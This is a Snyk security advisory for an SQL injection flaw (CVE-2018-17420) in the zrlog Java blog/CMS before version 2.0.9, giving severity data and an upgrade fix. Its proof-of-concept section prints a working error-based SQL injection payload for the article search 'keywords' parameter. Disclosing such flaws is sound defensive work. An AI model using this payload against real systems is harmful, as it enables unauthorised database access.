SQL Injection Affecting com.zrlog:zrlog package, versions [,2.0.9)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (41st percentile)

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  • Snyk IDSNYK-JAVA-COMZRLOG-173757
  • published7 Mar 2019
  • disclosed7 Mar 2019
  • credit3lse

Introduced: 7 Mar 2019

CVE-2018-17420  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade com.zrlog:zrlog to version 2.0.9 or higher.

Overview

com.zrlog:zrlog is a blog/CMS program developed in Java.

Affected versions of this package are vulnerable to SQL Injection in the article management search box via the keywords parameter.

PoC

keywords=aaaa') AND (SELECT 8405 FROM(SELECT COUNT(*),CONCAT(0x71706a6271,(SELECT (ELT(8405=8405,1))),0x7176787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('VybC'='VybC&_search=false&nd=1537172851162&rows=10&page=1&sidx=&sord=asc

CVSS Scores

version 3.1